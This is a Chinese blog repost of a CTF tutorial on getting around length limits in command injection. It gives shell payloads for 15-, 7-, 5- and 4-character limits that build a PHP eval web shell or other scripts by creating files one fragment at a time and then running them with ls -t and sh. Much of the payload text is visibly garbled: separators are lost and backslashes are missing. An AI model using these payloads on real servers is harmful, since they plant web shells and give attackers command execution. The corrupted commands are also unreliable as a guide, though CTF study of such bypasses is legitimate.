我是靠谱客的博主 凶狠云朵,最近开发中收集的这篇文章主要介绍html定义字符长度绕过,命令注入长度限制绕过,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

前言:

做ctf时难免会遇到可以执行莫命令执行函数,但是命令长度被限制,不同的长度限制将采用不同的截断连接方法。

1.15位可控字符下的任意命令执行

如需执行 echo <?php eval($_GET[1]);?>>1

echo <?php >1echo eval(>>1echo $_GET>>1echo [1]>>1echo );?>>1

2.7位可控字符下的任意命令执行

1>a或者w>b分别可以创建a和b两个空文件夹。

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。

作为转义符,转义之后的‘‘是用来换行分隔,也就是换行也是连接的。

cat

这就代表cat

例如这样的代码:

echo shell_exec($_GET[1]);

}?>

假设我产要写入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

w>hp

w>1.pw>d>w>-w>e64w>basw>=|w>w=w>gpOw>mbyw>aW5w>Ghww>Agcw>waHw>PD9w>o w>echls-t>0sh0

倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。

3.5位可控字符下的任意命令执行

ls -t>0 超过了5位

>lsls>a> >-t>>0ls>>a

这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。

4.4位可控字符下的任意命令执行

ls -th>f 超过了4位

>f>

>ht-

>sl>dir*>v>rev*v>0cat0

这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。

注意:

>py\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\产生,但是php 代码exec时,只需要输入即可产生,比如 exec(“>py”)即可。

这上面的所以payload均在linux终端shell里面进行操作,因此需要‘‘的地方都进行了再加‘‘转义,也就变成了‘\‘,如果在命令注入函数里面输入时,‘‘不需要用‘‘转义。

4位命令绕过的payload的构造逻辑、原理:

原文:https://www.cnblogs.com/-chenxs/p/11981586.html

最后

以上就是凶狠云朵为你收集整理的html定义字符长度绕过,命令注入长度限制绕过的全部内容,希望文章能够帮你解决html定义字符长度绕过,命令注入长度限制绕过所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部